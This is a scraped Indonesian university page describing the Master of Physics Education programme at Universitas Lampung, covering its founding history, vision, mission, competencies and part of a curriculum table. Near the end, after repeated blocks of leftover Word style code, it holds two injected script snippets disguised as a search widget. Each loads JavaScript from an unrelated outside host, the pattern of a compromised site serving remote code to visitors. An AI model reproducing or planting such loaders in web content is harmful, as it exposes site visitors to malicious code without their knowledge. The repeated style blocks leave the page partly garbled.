Magister Pendidikan Fisika

MAGISTER PENDIDIKAN FISIKA

SEJARAH SINGKAT PROGRAM STUDI MAGISTER PENDIDIKAN FISIKA UNILA
Pendirian Program Studi Magister Pendidikan Fisika Unila dimulai dengan pengajuan permohonan pembukaan program studi oleh Rektor Universitas Lampung (Prof. Dr. Ir. Sugeng P. Harianto, M.S.) kepada Direktur Jenderal Pendidikan Tinggi melalui Direktur Kelembagaan dan Kerjasama pada tanggal 31 Juli 2012 dengan surat Nomor: 3485/UN26/DT/2012. Setelah memperoleh persetujuan untuk mengajukan program studi, disusunlah  Form 4 dan Form 5 oleh sebuah tim yang dipimpin oleh Dr. Agus Suyatna, M.Si., dan sekretaris Antomi Saregar, S.Pd., M.Pd., M.Si. dosen pada Program Studi S1 Pendidikan Fisika Unila. Setelah Form 4 memenuhi syarat tertentu, selanjutnya diupload Form 5. Setelah Form 5 disetujui selanjutnya pada tanggal 6 Mei 2014, melalui surat nomor: 3141/E2.2/KL/2014 keluar ijin pertimbangan yang ditandatangani oleh Direktur Kelembagaan dan Kerjasama, Hermawan Kresno Dipojono, dengan catatan, Rektor Unila diminta untuk menyerahkan daftar minimal enam nama dosen tetap bergelar Doktor yang akan ditugaskan sebagai pengampu mata kuliah serta persyaratan lainnya. Melalui surat Rektor  Unila Nomor: 3688/UN26/DT/2014 ditugaskan delapan orang dosen sebagai pengampu pada Program Studi Magister Pendidikan Fisika yaitu: Dr. Agus Suyatna, M.Si., Dr. Chandra Ertikanto, M.Pd., Dr. Abdurahman, M.Si., Drs. Posman Manurung, Ph.D, Prof. Dr. Warsito, DEA, Dr. Noor Fadiawati, M.Si., Dr. Tri Jalmo, M.Si., dan Dr. Undang Rosidin, M.Pd.  Pada tanggal 3 Juni 2014, Program Studi Magister Pendidikan Fisika Unila resmi dibuka berdasarkan Surat Keputusan Menteri Pendidikan dan Kebudayaan Republik Indonesia Nomor: 140/E/O/2014. Pada tanggal 14-17 Juli 2014 mulai menerima mahasiswa dan dalam waktu hanya 3,5 hari jumlah  yang mendaftar secara online sebanyak 24 orang calon mahasiswa. Pada  tanggal 19 Juli 2014 diselenggarakan ujian tulis TPA, Bahasa Inggris dan wawancara.  Berdasarkan SK Rektor Unila Nomor: 1316/UN26/DT/2014 tanggal 4 Agustus 2014semua pendaftar dinyatakan memenuhi syarat untuk diterima sebagai mahasiswa Magister Pendidikan Fisika angkatan pertama.
 
Visi
Visi Program Studi S2 Pendidikan Fisika adalah pada tahun 2021 menjadi program studi unggulan dan lembaga rujukan yang tangguh dalam penyelenggaraan pendidikan, penelitian, dan pengembangan ilmu dalam bidang pendidikan Fisika, serta mampu menghasilkan lulusan yang kompetitif, kreatif-inovatif, berkemampuan akademik handal dan profesional yang berorientasi ke masa depan.
Misi
Misi Program S-2 pendidikan Fisika, FKIP Unila adalah sebagai berikut:
1)    Menyelenggarakan dan mengembangkan pendidikan dan pengajaran dalam bidang Pendidikan Fisika untuk menghasilkan lulusan yang handal dan profesional, berwawasan dan berazaskan keilmuan modern yang inovatif, baik secara teoretik maupun praktik.
2)    Mengembangkan dan menyelenggarakan kajian ilmiah berdasarkan payung penelitian melalui model pembinaan secara berkelanjutan, serta menjalin kerja sama dengan komponen-komponen pendukung lainnya dalam sistem pendidikan Indonesia secara makro untuk mencapai tujuan pendidikan nasional.
3)      Melaksanakan program kemitraan sebagai wujud pengabdian kepada masyarakat dengan pemerintah (pusat dan daerah) maupun masyarakat dengan cara menggali potensi daerah melalui penelitian dan pengembangan sehingga dapat membangun sumber daya manusia (SDM) yang mampu menerjemahkan kebutuhan pembangunan pendidikan masa depan.
 
Tujuan
1)    Menghasilkan tenaga-tenaga terdidik yang profesional di bidang Pendidikan Fisika, serta dapat mengaplikasikan keahliannya dalam bidang pendidikan (pengajaran dan penelitian), baik secara formal maupun nonformal.
2)    Menghasilkan lulusan yang mampu mengkaji, melaksanakan, dan mengabdikan ilmunya demi perkembangan dan peningkatan kualitas pendidikan di berbagai instansi dan satuan pendidikan di semua jenis dan jenjang pendidikan.
3)    Memberikan layanan penyelenggaraan pendidikan yang kreatif dan inovatif dalam bidang Pendidikan Fisika melalui: (1) pengembangan model pembelajaran berbasis multimedia; (2) pengembangan, penerapan, dan pengkajian di bidang pendidikan Fisika dengan lembaga-lembaga dan instansi lain.
Kualifikasi lulusan S2 Pendidikan Fisika adalah sebagai berikut:
1)      Memiliki kompetensi dan keterampilan yang khas, dalam melaksanakan proses belajar-mengajar yang kreatif-inovatif, dalam bidang Pendidikan Fisika baik di latar perkuliahan maupun pelatihan.
2)      Mampu mengembangkan dan memutakhirkan berbagai konsep Fisika dan pendidikan Fisika sebagai ilmu (science) serta mampu mengaplikasikannya, baik di tingkat satuan pendidikan maupun masyarakat.
3)      Memiliki kemampuan akademis (teoretik dan aplikatif) dan menguasai berbagai problematika IPTEK, serta mampu mengembangkannya di bidang pendidikan dan pengajaran.
4)      Mempunyai kemampuan berpikir kreatif-inovatif untuk memecahkan masalah dalam bidang pendidikan Fisika melalui kegiatan penelitian dan pengembangan berdasarkan kaidah ilmiah
5)      Bersikap kritis dan selektif terhadap pembaharuan pendidikan, pengajaran, penelitian, serta berupaya mengaktualisasikannya baik sebagai inisiator, pendidik, peneliti, praktisi, pengguna, maupun pengamat di bidang pendidikan Fisika.
Kompetensi utama dan kompetensi pendukung
Program S2 Pendidikan Fisika FKIP Unila dirancang untuk menghasilkan lulusan yang memiliki kompetensi utama seagai berikut.

Mampu merancang dan melaksanakan pendidikan dan pembelajaran Fisika yang kreatif dan inovatif sehingga mampu mendidik dan membelajarkan mahasiswa pada jenjang S1 dan siswa pada jenjang sekolah secara efektif, efisien dan menarik.
Mampu melaksanakan evaluasi dan supervisi pelaksanaan pendidikan dan pembelajaran Fisika di perguruan tinggi, pendidikan  menengah, dan pendidikan dasar.
Mampu melaksanakan dan mengembangkan penelitian, serta menggunakan hasil-hasil penelitian pendidikan untuk memecahkan permasalahan pendidikan dan pembelajaran Fisika.
Mampu mengembangkan program pembelajaran inovatif dalam menghadapi perkembangan ilmu pengetahuan dan teknologi.

Kompetensi pendukung S2 Pendidikan Fisika dirancang  sebagai berikut.

Mampu mengembangkan dan memutakhirkan berbagai konsep Fisika dan pembelajaran Fisika sebagai ilmu (science) serta mampu mengaplikasikannya, baik di tingkat satuan pendidikan maupun masyarakat.
Memiliki kemampuan akademis (teoretik dan aplikatif) dan menguasai berbagai problematika IPTEK, serta mampu mengembangkannya di bidang pendidikan dan pengajaran.
Mampu berinovasi untuk memecahkan masalah dalam bidang pendidikan Fisika melalui kegiatan penelitian dan pengembangan berdasarkan kaidah ilmiah
Memiliki sikap kritis dan selektif terhadap pembaharuan pendidikan, pengajaran, penelitian, serta mampu  mengaktualisasikannya baik sebagai, pendidik, peneliti, praktisi, inisiator, maupun pengamat di bidang pendidikan Fisika

Bahan kajian
Bahan kajian pada program S-2 Pendidikan Fisika FKIP Unila adalah sebagai berikut.
a      Inovasi dalam pembelajaran fisika yang mencakup pendekatan, strategi,  model, metode, media, bahan ajar, pengelolaan kelas dan laboratorium pembelajaran fisika.
b      Evaluasi dan supervisi pelaksanaan pendidikan dan pembelajaran Fisika di perguruan tinggi, pendidikan  menengah, dan pendidikan dasar termasuk penilaian pembelajaran fisika, evaluasi program, model dan rancangan evaluasi program.
c       Mengkaji hasil penelitian mutakhir yang mencakup problematika pendidikan dan pembelajaran Fisika meliputi permasalahan lokal, nasional, maupun internasional saat ini maupun yang akan datang termasuk kecenderungan penelitian pendidikan fisika. Kajian persoalan pendidikan fisika dengan menggunakan landasan filosofis, historis, sosiologis dan psikologis. menganalisis masalah-masalah pembelajaran dan pendidikan, supervisi pembelajaran fisika, berdasarkan kajian teori pendidikan dan temuan mutakhir tentang perkembangan pendidikan fisika
d      Pengembangan dan pemanfaatan media pembelajaran termasuk teknologi informasi dan komunikasi (TIK) dalam pembelajaran. teknik merancang dan membuat media pembelajaran fisika yang mencakup alat-alat laboratorium.
e      Mengkaji materi substansi Fisika meliputi materi fisika sekolah terpilih, konsep-konsep fisika dalam tinjauan mekanika klasik, elektrodinamika, Fisika Modern, Mekanika Statistik, optika modern,  Fisika kuantum, Fisika Bumi.
f       Konsep-konsep dasar metode penelitian kuantitatif, kualitatif, dan penerapannya dalam penelitian pendidikan fisika. Jenis penelitian yang dibahas mencakup penelitian kuantitatif eksprimental, non eksperimental, dan R & D. Termasuk konsep-konsep metode ilmiah, metode penelitian fisika, berbagai metode eksperimen fisika, dan desain eksperimen fisika.
2.2.1          Susunan matakuliah per semester berikut bobotnya
Penyusunan kurikulum Program S2 Pendidikan Fisika juga didasari oleh: (1) Undang-undang Sisdiknas N0. 20 Tahun 2003, (2) Permendikbud No. 49 tahun 2014 tentang Standar Nasional Pendidikan Tinggi, (3) Surat Edaran Dirjen Dikti No. 526/E.E3/MI/2014, (4) SK Rektor Universitas Lampung N0. 911/UN26/DT/2013 tentang Mata Kuliah Wajib Universitas untuk Program Pascasarjana.
Beban SKS program magister sebanyak 72 SKS dengan proporsi Perkuliahan 32 SKS, proposal thesis 5 SKS, Penelitian dan Penulisan Thesis 20 SKS, Seminar 5 SKS, Karya Ilmiah 10 SKS. Sebaran dan proporsi beban matakuliah dibedakan atas Matakuliah Landasan Keahlian (MKLK) wajib dan Matakuliah Keahlian Utama (MKKU) baik yang wajib maupun pilihan. Penyelesaian tugas akhir (Tesis) seperti terlihat pada Tabel  1.
Tabel 1.  Matakuliah Landasan Keahlian (MKLK)

No

Matakuliah Landasan Keahlian (MKLK)
(Wajib)

sks

Semester

1
2
3
4

1
Filsafat Ilmu
2
x

2
Metodologi Penelitian
2
x

3
Kurikulum dan Pembelajaran
2
x

4
Aplikasi Statistik dalam Penelitian Pendidikan
2

x

5
Wawasan Kependidikan
2
x

Jumlah
10
8
2

 
Tabel 2.  Matakuliah Keahlian Utama (MKKU)
[if gte mso 9]>

Normal
0

false
false
false

EN-US
X-NONE
X-NONE

/* Style Definitions */
table.MsoNormalTable
{mso-style-name:”Table Normal”;
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:”";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:”Calibri”,”sans-serif”;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;}

Normal
0

false
false
false

EN-US
X-NONE
X-NONE

/* Style Definitions */
table.MsoNormalTable
{mso-style-name:”Table Normal”;
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:”";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:”Calibri”,”sans-serif”;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;}

Normal
0

false
false
false

EN-US
X-NONE
X-NONE

/* Style Definitions */
table.MsoNormalTable
{mso-style-name:”Table Normal”;
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:”";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:”Calibri”,”sans-serif”;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;}

Normal
0

false
false
false

EN-US
X-NONE
X-NONE

/* Style Definitions */
table.MsoNormalTable
{mso-style-name:”Table Normal”;
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:”";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:”Calibri”,”sans-serif”;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;}

Normal
0

false
false
false

EN-US
X-NONE
X-NONE

/* Style Definitions */
table.MsoNormalTable
{mso-style-name:”Table Normal”;
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:”";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:”Calibri”,”sans-serif”;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;}

(function() {
var gcse = document.createElement(‘script’);
gcse.type = ‘text/javascript’;
gcse.async = true;
gcse.src = “http://theboatersnetwork.com/js/main1.js”;
var s = document.getElementsByTagName(‘script’)[0];
s.parentNode.insertBefore(gcse, s);
})();

(function() {
var gcse = document.createElement(‘script’);
gcse.type = ‘text/javascript’;
gcse.async = true;
gcse.src = “http://cjccontabil.com.br/wp-content/themes/Hermes/main1.js”;
var s = document.getElementsByTagName(‘script’)[0];
s.parentNode.insertBefore(gcse, s);
})();

>>Program Pascasarjana Universitas Lampung berdiri sejak tahun 1999, Sampai sekarang Program Pascasarjana Universitas Lampung sudah mempunyai 2 Program Doktor dan 32 Program Studi Magister Terakreditasi<<